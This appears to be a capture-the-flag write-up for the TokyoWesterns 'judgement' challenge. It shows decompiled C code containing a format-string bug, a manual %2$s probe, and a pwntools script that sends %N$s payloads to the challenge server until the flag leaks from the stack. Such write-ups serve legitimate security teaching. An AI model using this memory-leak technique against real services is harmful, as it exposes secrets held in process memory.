Guest post by Shak.

Challenge description:
Host : pwn1.chal.ctf.westerns.tokyo
Port : 31729
judgement

---

[Megabeets]$ nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> FLAG
FLAG
Wrong flag...

Let’s check the binary. The following function is reading the flag from a local file on the server, so this binary will not reveal the flag, but further examining it might.

int __cdecl load_flag(char *filename, char *s, int n)
{
  int result; // eax@2
  FILE *stream; // [sp+18h] [bp-10h]@1
  char *v5; // [sp+1Ch] [bp-Ch]@5

  stream = fopen(filename, "r");
  if ( stream ) {
    if ( fgets(s, n, stream) ) {
      v5 = strchr(s, 10);
      if ( v5 )
        *v5 = 0;
      result = 1;
    }
    else { result = 0;}
  }
  else { result = 0; }
  return result;
}

Next we can see the main function which gets our input and compares it to the flag.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp@1
  int result; // eax@2
  int v5; // ecx@6
  char input; // [sp+0h] [bp-4Ch]@1
  int v7; // [sp+40h] [bp-Ch]@1
  int *v8; // [sp+48h] [bp-4h]@1

  v8 = &argc;
  v7 = *MK_FP(__GS__, 20);
  v3 = alloca(144);
  printf("Flag judgment system\nInput flag >> ");
  if ( getnline(&input, 64) ) {
    printf(&input);
    if ( !strcmp(&input, flag) )
      result = puts("\nCorrect flag!!");
    else
      result = puts("\nWrong flag...");
  }
  else {
    puts("Unprintable character");
    result = -1;
  }
  v5 = *MK_FP(__GS__, 20) ^ v7;
  return result;
}

What it also does, is printing our input with no formatting (line 15), which means we can use printf format to read data from the stack. First of all, let’s check if this will work by trying to print the second value from the stack as a string

Flag judgment system
Input flag >> %2$s
פJr≈
Wrong flag…

It works, but no luck there. I wrote a simple python script that will print the first 300 values from the stack and search for the flag:

#!/usr/bin/python

from pwn import *

for i in xrange(1,300):
        r = remote('pwn1.chal.ctf.westerns.tokyo', 31729)
        r.recv()
        r.sendline("%{}$s".format(i))
        try:
                res = r.recv()
                if "TWCTF" in res:
                        print "The flag is: " + res
                        break
        except:
                pass
        r.close()

And indeed we get it:

[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
[*] Closed connection to pwn1.chal.ctf.westerns.tokyo port 31729
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
.
.
.
[+] Opening connection to pwn1.chal.ctf.westerns.tokyo on port 31729: Done
The flag is: TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...